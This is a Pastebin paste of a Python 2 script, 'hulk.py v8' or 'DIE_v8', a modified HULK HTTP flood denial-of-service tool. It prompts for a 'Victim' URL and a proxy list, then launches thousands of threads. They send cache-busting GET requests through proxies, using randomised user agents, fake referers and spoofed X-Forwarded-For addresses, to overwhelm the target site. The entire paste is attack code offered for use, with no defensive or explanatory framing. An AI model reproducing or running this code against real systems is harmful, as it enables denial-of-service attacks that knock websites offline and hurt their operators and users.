coolproxies

hulk.py v8

Feb 7th, 2017
19,386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. #coding: utf-8
  3. #..:: > DIE_v8 < ::.. Mod By JokerLjnk
  4.  
  5. import random
  6. import socket
  7. import threading
  8. import time
  9. import datetime
  10. import urllib2
  11. import urllib
  12. import re
  13. import sys
  14. import optparse
  15. import os
  16. import urlparse
  17.  
  18. #Hulk Mod By JokerLjnk
  19. url=''
  20. host=''
  21. headers_useragents=[]
  22. headers_referers=[]
  23. keyword_top=[]
  24. request_counter=0
  25. flag=0
  26. safe=0
  27. def inc_counter():
  28. global request_counter
  29. request_counter+=1
  30.  
  31. def set_flag(val):
  32. global flag
  33. flag=val
  34.  
  35. def set_safe():
  36. global safe
  37. safe=1
  38.  
  39. def getUserAgent():
  40. platform = random.choice(['Macintosh', 'Windows', 'X11'])
  41. if platform == 'Macintosh':
  42. os = random.choice(['68K', 'PPC'])
  43. elif platform == 'Windows':
  44. os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  45. elif platform == 'X11':
  46. os = random.choice(['Linux i686', 'Linux x86_64'])
  47. browser = random.choice(['chrome', 'firefox', 'ie'])
  48. if browser == 'chrome':
  49. webkit = str(random.randint(500, 599))
  50. version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  51. return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  52. elif browser == 'firefox':
  53. currentYear = datetime.date.today().year
  54. year = str(random.randint(2000, currentYear))
  55. month = random.randint(1, 12)
  56. if month < 10:
  57. month = '0' + str(month)
  58. else:
  59. month = str(month)
  60. day = random.randint(1, 30)
  61. if day < 10:
  62. day = '0' + str(day)
  63. else:
  64. day = str(day)
  65. gecko = year + month + day
  66. version = str(random.randint(1, 21)) + '.0'
  67. return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  68. elif browser == 'ie':
  69. version = str(random.randint(1, 10)) + '.0'
  70. engine = str(random.randint(1, 5)) + '.0'
  71. option = random.choice([True, False])
  72. if option == True:
  73. token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  74. else:
  75. token = ''
  76. return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  77.  
  78. def referer_list():
  79. global headers_referers
  80. headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
  81. headers_referers.append('http://www.google.com/?q=')
  82. headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  83. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  84. headers_referers.append('http://www.google.com/translate?u=')
  85. headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  86. headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  87. headers_referers.append('http://www.bing.com/search?q=')
  88. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  89. headers_referers.append('https://play.google.com/store/search?q=')
  90. return(headers_referers)
  91.  
  92. def keyword_list():
  93. global keyword_top
  94. keyword_top.append('Sex')
  95. keyword_top.append('Robin Williams')
  96. keyword_top.append('World Cup')
  97. keyword_top.append('Ca Si Le Roi')
  98. keyword_top.append('Ebola')
  99. keyword_top.append('Malaysia Airlines Flight 370')
  100. keyword_top.append('ALS Ice Bucket Challenge')
  101. keyword_top.append('Flappy Bird')
  102. keyword_top.append('Conchita Wurst')
  103. keyword_top.append('ISIS')
  104. keyword_top.append('Frozen')
  105. keyword_top.append('014 Sochi Winter Olympics')
  106. keyword_top.append('IPhone')
  107. keyword_top.append('Samsung Galaxy S5')
  108. keyword_top.append('Nexus 6')
  109. keyword_top.append('Moto G')
  110. keyword_top.append('Samsung Note 4')
  111. keyword_top.append('LG G3')
  112. keyword_top.append('Xbox One')
  113. keyword_top.append('Apple Watch')
  114. keyword_top.append('Nokia X')
  115. keyword_top.append('Ipad Air')
  116. keyword_top.append('Facebook')
  117. keyword_top.append('Anonymous')
  118. return(keyword_top)
  119.  
  120. def buildblock(size):
  121. out_str = ''
  122. for i in range(0, size):
  123. a = random.randint(65, 90)
  124. out_str += chr(a)
  125. return(out_str)
  126.  
  127. def httpcall(url):
  128. referer_list()
  129. code=0
  130. if url.count("?")>0:
  131. param_joiner = "&"
  132. else:
  133. param_joiner = "?"
  134. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  135. request.add_header('User-Agent', getUserAgent())
  136. request.add_header('Cache-Control', 'no-cache')
  137. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  138. request.add_header('Referer', random.choice(headers_referers) + host + buildblock(random.randint(5,10)))
  139. request.add_header('Keep-Alive', random.randint(110,120))
  140. request.add_header('Connection', 'keep-alive')
  141. request.add_header('Host',host)
  142.  
  143. index = random.randint(0,len(listaproxy)-1)
  144. proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
  145. opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  146. urllib2.install_opener(opener)
  147. try:
  148. urllib2.urlopen(request)
  149. if(flag==1): set_flag(0)
  150. if(code==500): code=0
  151. except urllib2.HTTPError, e:
  152. set_flag(1)
  153. code=500
  154. time.sleep(60)
  155. except urllib2.URLError, e:
  156. sys.exit()
  157. else:
  158. inc_counter()
  159. urllib2.urlopen(request)
  160. return(code)
  161.  
  162. class HTTPThread(threading.Thread):
  163. def run(self):
  164. try:
  165. while flag<2:
  166. code=httpcall(url)
  167. if (code==500) & (safe==1):
  168. set_flag(2)
  169. except Exception, ex:
  170. pass
  171.  
  172. class MonitorThread(threading.Thread):
  173. def run(self):
  174. previous=request_counter
  175. while flag==0:
  176. if (previous+100<request_counter) & (previous<>request_counter):
  177. previous=request_counter
  178. if flag==2:
  179. print ''
  180.  
  181. #DIE_v8 Mod By JokerLjnk
  182. def randomIp():
  183. random.seed()
  184. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  185. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  186. return result
  187.  
  188. def randomIpList():
  189. random.seed()
  190. res = ""
  191. for ip in xrange(random.randint(8, 10)):
  192. res = res + randomIp() + ", "
  193. return res[0:len(res) - 2]
  194. class attacco(threading.Thread):
  195. def run(self):
  196. referer_list()
  197. current = x
  198.  
  199. if current < len(listaproxy):
  200. proxy = listaproxy[current].split(':')
  201. else:
  202. proxy = random.choice(listaproxy).split(':')
  203.  
  204. useragent = "User-Agent: " + getUserAgent() + "\r\n"
  205. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  206. referer = "Referer: "+ random.choice(headers_referers) + url + "?r="+ str(random.randint(1, 1500)) + "\r\n"
  207. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  208.  
  209. while nload:
  210. time.sleep(1)
  211. pass
  212.  
  213. while 1:
  214. try:
  215. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  216. a.connect((proxy[0], int(proxy[1])))
  217. a.send(httprequest)
  218. try:
  219. for i in xrange(4):
  220. a.send(httprequest)
  221. except:
  222. tts = 1
  223.  
  224.  
  225. except:
  226. proxy = random.choice(listaproxy).split(':')
  227.  
  228. #Main
  229. print '\n\t..:: > Code By JokerLjnk < ::..'
  230. print '\t ==> #~~ Super DDOS ~~# <== '
  231. # Site
  232. url = raw_input("Victim: ")
  233. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  234. #Proxy
  235. in_file = open(raw_input("File proxy: "),"r")
  236. proxyf = in_file.read()
  237.  
  238.  
  239. in_file.close()
  240. listaproxy = proxyf.split('\n')
  241. #So luong
  242. thread = input("So luong (3000): ")
  243. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  244. accept = "Accept-Encoding: gzip, deflate\r\n"
  245. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  246. nload = 1
  247. x = 0
  248. print("\tDIE_v8 DDOS Mod By JokerLjnk")
  249. if url.count("/")==2:
  250. url = url + "/"
  251. m = re.search('http\://([^/]*)/?.*', url)
  252. host = m.group(1)
  253. for x in xrange(int(thread + 1)):
  254. attacco().start()
  255. time.sleep(0.003)
  256. print "Attacking ==========================>>"
  257. for x in xrange(501):
  258. t = HTTPThread()
  259. t.start()
  260. t = MonitorThread()
  261. t.start()
  262. nload = 0
  263. while not nload:
  264. time.sleep(1)
Add Comment
Please, Sign In to add comment